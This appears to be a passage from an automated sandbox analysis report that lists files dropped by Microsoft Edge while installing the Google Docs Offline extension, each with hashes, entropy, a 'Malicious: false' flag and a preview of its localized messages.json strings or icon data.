SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5500_395530944\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
